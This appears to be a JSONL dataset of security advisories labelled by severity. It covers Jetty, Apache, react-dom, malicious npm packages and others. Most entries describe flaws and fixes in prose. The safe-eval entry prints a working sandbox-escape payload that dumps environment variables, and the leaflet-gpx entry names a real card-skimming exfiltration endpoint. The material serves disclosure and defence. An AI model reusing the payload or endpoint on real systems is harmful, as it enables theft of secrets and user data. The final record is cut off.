-{"id": "43d35ed139019eafd4b8", "text": "Access and integrity issue within Eclipse Jetty\n\nIn Eclipse Jetty versions 9.4.0 through 9.4.8, when using the optional Jetty provided FileSessionDataStore for persistent storage of HttpSession details, it is possible for a malicious user to access/hijack other HttpSessions and even delete unmatched HttpSessions present in the FileSystem's storage for the FileSessionDataStore.", "text_raw": "Access and integrity issue within Eclipse Jetty\n\n[Severity: HIGH]\n\nIn Eclipse Jetty versions 9.4.0 through 9.4.8, when using the optional Jetty provided FileSessionDataStore for persistent storage of HttpSession details, it is possible for a malicious user to access/hijack other HttpSessions and even delete unmatched HttpSessions present in the FileSystem's storage for the FileSessionDataStore.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "9d3d0c5ff45fd769a5ff", "text": "Apache HTTP Server Privilege Escalation Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute code with the privileges of the parent process (usually root) by manipulating the scoreboard.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache HTTP Server Privilege Escalation Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute code with the privileges of the parent process (usually root) by manipulating the scoreboard.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4e928d1bc85092fc3ee2", "text": "Cross-Site Scripting in react-dom\n\nAffected versions of `react-dom` are vulnerable to Cross-Site Scripting (XSS). The package fails to validate attribute names in HTML tags which may lead to Cross-Site Scripting in specific scenarios. This may allow attackers to execute arbitrary JavaScript in the victim's browser. To be affected by this vulnerability, the application needs to:\n- be a server-side React app\n- be rendered to HTML using `ReactDOMServer`\n- include an attribute name from user input in an HTML tag\n\n## Recommendation\n\nIf you are using `react-dom` 16.0.x, upgrade to 16.0.1 or later.  \nIf you are using `react-dom` 16.1.x, upgrade to 16.1.2 or later.  \nIf you are using `react-dom` 16.2.x, upgrade to 16.2.1 or later.  \nIf you are using `react-dom` 16.3.x, upgrade to 16.3.3 or later.  \nIf you are using `react-dom` 16.4.x, upgrade to 16.4.2 or later.", "text_raw": "Cross-Site Scripting in react-dom\n\n[Severity: MEDIUM]\n\nAffected versions of `react-dom` are vulnerable to Cross-Site Scripting (XSS). The package fails to validate attribute names in HTML tags which may lead to Cross-Site Scripting in specific scenarios. This may allow attackers to execute arbitrary JavaScript in the victim's browser. To be affected by this vulnerability, the application needs to:\n- be a server-side React app\n- be rendered to HTML using `ReactDOMServer`\n- include an attribute name from user input in an HTML tag\n\n\n## Recommendation\n\nIf you are using `react-dom` 16.0.x, upgrade to 16.0.1 or later.  \nIf you are using `react-dom` 16.1.x, upgrade to 16.1.2 or later.  \nIf you are using `react-dom` 16.2.x, upgrade to 16.2.1 or later.  \nIf you are using `react-dom` 16.3.x, upgrade to 16.3.3 or later.  \nIf you are using `react-dom` 16.4.x, upgrade to 16.4.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "79b734ebd40129e06867", "text": "Denial of Service in protobufjs\n\nVersions of `protobufjs` before 5.0.3 and 6.8.6 are vulnerable to a regular expression denial of service when parsing crafted invalid *.proto files.\n\n## Recommendation\n\nUpdate to version 5.0.3, 6.8.6 or later.", "text_raw": "Denial of Service in protobufjs\n\n[Severity: MEDIUM]\n\nVersions of `protobufjs` before 5.0.3 and 6.8.6 are vulnerable to a regular expression denial of service when parsing crafted invalid *.proto files.\n\n\n## Recommendation\n\nUpdate to version 5.0.3, 6.8.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "6d79850ad2caba7dd2fd", "text": "Data races in multiqueue\n\nAffected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend<RW, T>, InnerRecv<RW, T>, FutInnerSend<RW, T>, FutInnerRecv<RW, T>). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.", "text_raw": "Data races in multiqueue\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend<RW, T>, InnerRecv<RW, T>, FutInnerSend<RW, T>, FutInnerRecv<RW, T>). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7a5ba4c887c689fb3274", "text": "Cross-Site Request Forgery in kimai2\n\nCSRF in saving invoices / modifying status of invoices (pending and cancel only)", "text_raw": "Cross-Site Request Forgery in kimai2\n\n[Severity: MEDIUM]\n\nCSRF in saving invoices / modifying status of invoices (pending and cancel only)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "3f5ccfd31510b7adf94e", "text": "Data race in syncpool\n\nAffected versions of this crate unconditionally implements Send for Bucket2. This allows sending non-Send types to other threads. This can lead to data races when non Send types like Cell<T> or Rc<T> are contained inside Bucket2 and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue). The flaw was corrected in commit `15b2828` by adding a T: Send bound to the Send impl of Bucket2<T>.", "text_raw": "Data race in syncpool\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implements Send for Bucket2. This allows sending non-Send types to other threads. This can lead to data races when non Send types like Cell<T> or Rc<T> are contained inside Bucket2 and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue). The flaw was corrected in commit `15b2828` by adding a T: Send bound to the Send impl of Bucket2<T>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ebe71f2efec8f942996f", "text": "Denial of service in geth\n\n### Impact\nDenial-of-service (crash) during block processing\n\n### Details\n\nAffected versions suffer from a vulnerability which can be exploited through the `MULMOD` operation, by specifying a modulo of `0`: `mulmod(a,b,0)`, causing a `panic` in the underlying library. \nThe crash was in the `uint256` library, where a buffer [underflowed](https://github.com/holiman/uint256/blob/4ce82e695c10ddad57215bdbeafb68b8c5df2c30/uint256.go#L442).\n\nif `d == 0`, `dLen` remains `0`\n\nand https://github.com/holiman/uint256/blob/4ce82e695c10ddad57215bdbeafb68b8c5df2c30/uint256.go#L451 will try to access index `[-1]`.\n\nThe `uint256` library was first merged in this [commit](https://github.com/ethereum/go-ethereum/commit/cf6674539c589f80031f3371a71c6a80addbe454), on 2020-06-08. \nExploiting this vulnerabilty would cause all vulnerable nodes to drop off the network.\n\nThe issue was brought to our attention through a [bug report](https://github.com/ethereum/go-ethereum/issues/21367), showing a `panic` occurring on sync from genesis on the Ropsten network.\n\nIt was estimated that the least obvious way to fix this would be to merge the fix into `uint256`, make a new release of that library and then update the geth-dependency.\n\n- https://github.com/holiman/uint256/releases/tag/v1.1.1 was made the same day, \n- PR to address the issue: https://github.com/holiman/uint256/pull/80 \n- PR to update geth deps: https://github.com/ethereum/go-ethereum/pull/21368\n\n### Patches\n\nUpgrade to v1.9.18 or higher\n\n### Workarounds\n\nNot at this time\n\n### References\n\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Denial of service in geth\n\n[Severity: MEDIUM]\n\n### Impact\nDenial-of-service (crash) during block processing\n\n### Details\n\nAffected versions suffer from a vulnerability which can be exploited through the `MULMOD` operation, by specifying a modulo of `0`: `mulmod(a,b,0)`, causing a `panic` in the underlying library. \nThe crash was in the `uint256` library, where a buffer [underflowed](https://github.com/holiman/uint256/blob/4ce82e695c10ddad57215bdbeafb68b8c5df2c30/uint256.go#L442).\n\n\tif `d == 0`, `dLen` remains `0`\n\nand https://github.com/holiman/uint256/blob/4ce82e695c10ddad57215bdbeafb68b8c5df2c30/uint256.go#L451 will try to access index `[-1]`.\n\nThe `uint256` library was first merged in this [commit](https://github.com/ethereum/go-ethereum/commit/cf6674539c589f80031f3371a71c6a80addbe454), on 2020-06-08. \nExploiting this vulnerabilty would cause all vulnerable nodes to drop off the network. \n\nThe issue was brought to our attention through a [bug report](https://github.com/ethereum/go-ethereum/issues/21367), showing a `panic` occurring on sync from genesis on the Ropsten network.\n \nIt was estimated that the least obvious way to fix this would be to merge the fix into `uint256`, make a new release of that library and then update the geth-dependency.\n\n- https://github.com/holiman/uint256/releases/tag/v1.1.1 was made the same day, \n- PR to address the issue: https://github.com/holiman/uint256/pull/80 \n- PR to update geth deps: https://github.com/ethereum/go-ethereum/pull/21368 \n\n\n\n### Patches\n\nUpgrade to v1.9.18 or higher\n\n### Workarounds\n\nNot at this time\n\n### References\n\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "994639bacace07b224b2", "text": "Malicious Package in bitcion-ops\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcion-ops\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "5e728377b48fce995190", "text": "SilverStripe GraphQL Server permission checker not inherited by query subclass.\n\nDefault SilverStripe GraphQL Server (aka silverstripe/graphql) 3.x through 3.4.1 permission checker not inherited by query subclass.", "text_raw": "SilverStripe GraphQL Server permission checker not inherited by query subclass.\n\n[Severity: MEDIUM]\n\nDefault SilverStripe GraphQL Server (aka silverstripe/graphql) 3.x through 3.4.1 permission checker not inherited by query subclass.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "5d1f4a72680277272675", "text": "Epic Games Fortnite 4.2-CL-4072250 Insecure File Permissions", "text_raw": "Epic Games Fortnite 4.2-CL-4072250 Insecure File Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "5410d06dc07d8c5995a8", "text": "Malicious Package in leaflet-gpx\n\nVersion 1.0.1 of `leaflet-gpx` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to version 1.0.0", "text_raw": "Malicious Package in leaflet-gpx\n\n[Severity: CRITICAL]\n\nVersion 1.0.1 of `leaflet-gpx` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to version 1.0.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "352bb7b4aa1d79992a9b", "text": "Information Exposure vulnerability in Eclipse Jetty\n\nIn Eclipse Jetty version 9.2.27, 9.3.26, and 9.4.16, the server running on Windows is vulnerable to exposure of the fully qualified Base Resource directory name on Windows to a remote client when it is configured for showing a Listing of directory contents. This information reveal is restricted to only the content in the configured base resource directories.", "text_raw": "Information Exposure vulnerability in Eclipse Jetty\n\n[Severity: MEDIUM]\n\nIn Eclipse Jetty version 9.2.27, 9.3.26, and 9.4.16, the server running on Windows is vulnerable to exposure of the fully qualified Base Resource directory name on Windows to a remote client when it is configured for showing a Listing of directory contents. This information reveal is restricted to only the content in the configured base resource directories.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "b49c38f463d0134e6b8b", "text": "Injection and Command Injection in devcert\n\nA command injection vulnerability in the `devcert` module may lead to remote code execution when users of the module pass untrusted input to the `certificateFor` function.", "text_raw": "Injection and Command Injection in devcert\n\n[Severity: HIGH]\n\nA command injection vulnerability in the `devcert` module may lead to remote code execution when users of the module pass untrusted input to the `certificateFor` function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "60bb12b1952278868d6d", "text": "Kemana Directory 1.5.6 (run param) Local File Inclusion Vulnerability", "text_raw": "Kemana Directory 1.5.6 (run param) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "bb7bc828119c82fdc24a", "text": "Malicious Package in bconi\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bconi\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "a1954616db6f46b1654c", "text": "There is a XML external entity expansion (XXE) vulnerability in Apache Solr\n\nThis vulnerability in Apache Solr 1.2 to 6.6.2 and 7.0.0 to 7.2.1 relates to an XML external entity expansion (XXE) in the `&dataConfig=<inlinexml>` parameter of Solr's DataImportHandler. It can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network.", "text_raw": "There is a XML external entity expansion (XXE) vulnerability in Apache Solr \n\n[Severity: HIGH]\n\nThis vulnerability in Apache Solr 1.2 to 6.6.2 and 7.0.0 to 7.2.1 relates to an XML external entity expansion (XXE) in the `&dataConfig=<inlinexml>` parameter of Solr's DataImportHandler. It can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "61d2f20ced33df70fe09", "text": "Injection in bodymen\n\nbodymen before 1.1.1 is vulnerable to Prototype Pollution. The handler function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.", "text_raw": "Injection in bodymen\n\n[Severity: MEDIUM]\n\nbodymen before 1.1.1 is vulnerable to Prototype Pollution. The handler function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "d8a39ad3f2ce07ee930f", "text": "Cross-site scripting in anchorme\n\nAll versions of package anchorme are vulnerable to Cross-site Scripting (XSS) via the main functionality.", "text_raw": "Cross-site scripting in anchorme\n\n[Severity: MEDIUM]\n\nAll versions of package anchorme are vulnerable to Cross-site Scripting (XSS) via the main functionality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "331b687c0c65f78dcde8", "text": "Websocket requests did not call AuthenticateMethod\n\n### Impact\n\nDepending on implementation, a denial-of-service or privilege escalation vulnerability may occur in software that uses the `github.com/ecnepsnai/web` package with Web Sockets that have an AuthenticateMethod.\n\nThe `AuthenticateMethod` is not called, and `UserData` will be nil in request methods. Attempts to read the `UserData` may result in a panic.\n\nThis issue only affects web sockets where an `AuthenticateMethod` is supplied to the handle options. Users who do not use web sockets, or users who do not require authentication are not at risk.\n\n#### Example\n\nIn the example below, one would expect that the `AuthenticateMethod` function would be called for each request to `/example`\n\n```go\nhandleOptions := web.HandleOptions{\n\tAuthenticateMethod: func(request *http.Request) interface{} {\n\t\t// Assume there is logic here to check for an active sessions, look at cookies or headers, etc...\n\t\tvar session Session{} // Example\n\nreturn session\n\t},\n}\n\nserver.Socket(\"/example\", handle, handleOptions)\n```\n\nHowever, the method is not called, and therefor the `UserData` parameter of the request object in the handle will be nil, when it would have been expected to be the `session` object we returned.\n\n### Patches\n\nRelease v1.5.2 fixes this vulnerability. The authenticate method is now called for websocket requests.\n\nAll users of the web package should update to v1.5.2 or later.\n\n### Workarounds\n\nYou may work around this issue by making the authenticate method a named function, then calling that function at the start of the handle method for the websocket. Reject connections when the return value of the method is nil.", "text_raw": "Websocket requests did not call AuthenticateMethod\n\n[Severity: CRITICAL]\n\n### Impact\n\nDepending on implementation, a denial-of-service or privilege escalation vulnerability may occur in software that uses the `github.com/ecnepsnai/web` package with Web Sockets that have an AuthenticateMethod.\n\nThe `AuthenticateMethod` is not called, and `UserData` will be nil in request methods. Attempts to read the `UserData` may result in a panic.\n\nThis issue only affects web sockets where an `AuthenticateMethod` is supplied to the handle options. Users who do not use web sockets, or users who do not require authentication are not at risk.\n\n#### Example\n\nIn the example below, one would expect that the `AuthenticateMethod` function would be called for each request to `/example`\n\n```go\nhandleOptions := web.HandleOptions{\n\tAuthenticateMethod: func(request *http.Request) interface{} {\n\t\t// Assume there is logic here to check for an active sessions, look at cookies or headers, etc...\n\t\tvar session Session{} // Example\n\n\t\treturn session\n\t},\n}\n\nserver.Socket(\"/example\", handle, handleOptions)\n```\n\nHowever, the method is not called, and therefor the `UserData` parameter of the request object in the handle will be nil, when it would have been expected to be the `session` object we returned.\n\n### Patches\n\nRelease v1.5.2 fixes this vulnerability. The authenticate method is now called for websocket requests.\n\nAll users of the web package should update to v1.5.2 or later.\n\n### Workarounds\n\nYou may work around this issue by making the authenticate method a named function, then calling that function at the start of the handle method for the websocket. Reject connections when the return value of the method is nil.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "614a246945f2de833eb7", "text": "Integer overflow in TFLite concatentation\n\n### Impact\nThe TFLite implementation of concatenation is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/7b7352a724b690b11bfaae2cd54bc3907daf6285/tensorflow/lite/kernels/concatenation.cc#L70-L76):\n\n```cc\nfor (int d = 0; d < t0->dims->size; ++d) {\n  if (d == axis) { \n    sum_axis += t->dims->data[axis]; \n  } else {\n    TF_LITE_ENSURE_EQ(context, t->dims->data[d], t0->dims->data[d]);\n  }\n}\n```\n\nAn attacker can craft a model such that the dimensions of one of the concatenation input overflow the values of `int`. TFLite uses `int` to represent tensor dimensions, whereas TF uses `int64`. Hence, valid TF models can trigger an integer overflow when converted to TFLite format.\n\n### Patches\nWe have patched the issue in GitHub commit [4253f96a58486ffe84b61c0415bb234a4632ee73](https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer overflow in TFLite concatentation\n\n[Severity: MEDIUM]\n\n### Impact\nThe TFLite implementation of concatenation is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/7b7352a724b690b11bfaae2cd54bc3907daf6285/tensorflow/lite/kernels/concatenation.cc#L70-L76):\n\n```cc\nfor (int d = 0; d < t0->dims->size; ++d) {\n  if (d == axis) { \n    sum_axis += t->dims->data[axis]; \n  } else {\n    TF_LITE_ENSURE_EQ(context, t->dims->data[d], t0->dims->data[d]);\n  }\n}\n```\n\nAn attacker can craft a model such that the dimensions of one of the concatenation input overflow the values of `int`. TFLite uses `int` to represent tensor dimensions, whereas TF uses `int64`. Hence, valid TF models can trigger an integer overflow when converted to TFLite format.\n\n### Patches\nWe have patched the issue in GitHub commit [4253f96a58486ffe84b61c0415bb234a4632ee73](https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3ee05753737f08e107fa", "text": "Sandbox Breakout / Arbitrary Code Execution in safe-eval\n\nAll versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.\n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x => {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n```\n\nprints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safe-eval\n\n[Severity: CRITICAL]\n\nAll versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x => {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-25", "split": "train"}
-{"id": "bd480541a679575204f7", "text": "Improper Handling of Length Parameter Inconsistency in Compress\n\nWhen reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package.", "text_raw": "Improper Handling of Length Parameter Inconsistency in Compress\n\n[Severity: HIGH]\n\nWhen reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "500e0ed6761a2132935c", "text": "Path traversal in rollup-plugin-serve\n\nPath traversal in npm package `rollup-plugin-serve` before version 1.0.2. There is no path sanitization in `readFile` operation.", "text_raw": "Path traversal in rollup-plugin-serve\n\n[Severity: CRITICAL]\n\nPath traversal in npm package `rollup-plugin-serve` before version 1.0.2. There is no path sanitization in `readFile` operation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "c2f3b8c2b701c0f16fed", "text": "Arbitrary code execution in djv\n\nThis affects the package djv before 2.1.4. By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.", "text_raw": "Arbitrary code execution in djv\n\n[Severity: CRITICAL]\n\nThis affects the package djv before 2.1.4. By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "f34f81574f77edc53284", "text": "Composer's missing argument delimiter can lead to code execution via VCS repository URLs or source download URLs on systems with Mercurial\n\nURLs for Mercurial repositories in the root composer.json and package source download URLs are not sanitized correctly. Specifically crafted URL values allow commands to be executed in the HgDriver if hg/Mercurial is installed on the system.\n\n### Impact\n- The impact to Composer users directly is limited as the composer.json file is typically under their own control and source download URLs can only be supplied by third party Composer repositories they explicitly trust to download and execute source code from, e.g. Composer plugins.\n- The main impact is to services passing user input to Composer, including Packagist.org and Private Packagist. This allowed users to trigger remote command injection. The vulnerability has been patched on Packagist.org and Private Packagist within 12h of receiving the initial vulnerability report and based on a review of logs, to the best of our knowledge, was not abused by anyone.\n- Other services/tools using VcsRepository/VcsDriver or derivatives may also be vulnerable and should upgrade their composer/composer dependency immediately\n\n### Patches\n1.10.22 and 2.0.13 include patches for this issue.", "text_raw": "Composer's missing argument delimiter can lead to code execution via VCS repository URLs or source download URLs on systems with Mercurial\n\n[Severity: HIGH]\n\nURLs for Mercurial repositories in the root composer.json and package source download URLs are not sanitized correctly. Specifically crafted URL values allow commands to be executed in the HgDriver if hg/Mercurial is installed on the system.\n\n### Impact\n- The impact to Composer users directly is limited as the composer.json file is typically under their own control and source download URLs can only be supplied by third party Composer repositories they explicitly trust to download and execute source code from, e.g. Composer plugins.\n- The main impact is to services passing user input to Composer, including Packagist.org and Private Packagist. This allowed users to trigger remote command injection. The vulnerability has been patched on Packagist.org and Private Packagist within 12h of receiving the initial vulnerability report and based on a review of logs, to the best of our knowledge, was not abused by anyone.\n- Other services/tools using VcsRepository/VcsDriver or derivatives may also be vulnerable and should upgrade their composer/composer dependency immediately\n\n### Patches\n1.10.22 and 2.0.13 include patches for this issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "b3e53aa0ef192f396759", "text": "XXL-CONF Path Traversal vulnerability\n\nAn issue was discovered in XXL-CONF 1.6.0. There is a path traversal vulnerability via `../` in the keys parameter that can download any configuration file, related to `ConfController.java` and `PropUtil.java`.", "text_raw": "XXL-CONF Path Traversal vulnerability\n\n[Severity: HIGH]\n\nAn issue was discovered in XXL-CONF 1.6.0. There is a path traversal vulnerability via `../` in the keys parameter that can download any configuration file, related to `ConfController.java` and `PropUtil.java`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "4a69ba3b66c2dc32993f", "text": "Path Traversal in file-static-server\n\nAll versions of `file-static-server` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in file-static-server\n\n[Severity: HIGH]\n\nAll versions of `file-static-server` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files. \n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b94abe5f3cea312caf10", "text": "Ruby-saml allows attackers to perform XML signature wrapping attacks\n\nruby-saml prior to version 1.3.0 is vulnerable to an XML signature wrapping attack in the specific scenario where there was a signature that referenced at the same time 2 elements (but past the scheme validator process since 1 of the element was inside the encrypted assertion).\nruby-saml users must update to 1.3.0, which implements 3 extra validations to mitigate this kind of attack.", "text_raw": "Ruby-saml allows attackers to perform XML signature wrapping attacks \n\n[Severity: HIGH]\n\nruby-saml prior to version 1.3.0 is vulnerable to an XML signature wrapping attack in the specific scenario where there was a signature that referenced at the same time 2 elements (but past the scheme validator process since 1 of the element was inside the encrypted assertion).\nruby-saml users must update to 1.3.0, which implements 3 extra validations to mitigate this kind of attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "ae93cf3c435abe109dc4", "text": "Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities", "text_raw": "Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-02-20", "split": "train"}
-{"id": "b7cc72c99b186d84c56e", "text": "Expression Language Injection in Apache Syncope\n\nA Server-Side Template Injection was identified in Apache Syncope prior to 2.1.6 enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability. Apache Syncope uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, they support different types of interpolation, including Java EL expressions. Therefore, if an attacker can inject arbitrary data in the error message template being passed, they will be able to run arbitrary Java code.", "text_raw": "Expression Language Injection in Apache Syncope\n\n[Severity: CRITICAL]\n\nA Server-Side Template Injection was identified in Apache Syncope prior to 2.1.6 enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability. Apache Syncope uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, they support different types of interpolation, including Java EL expressions. Therefore, if an attacker can inject arbitrary data in the error message template being passed, they will be able to run arbitrary Java code.", "severity": "critical", 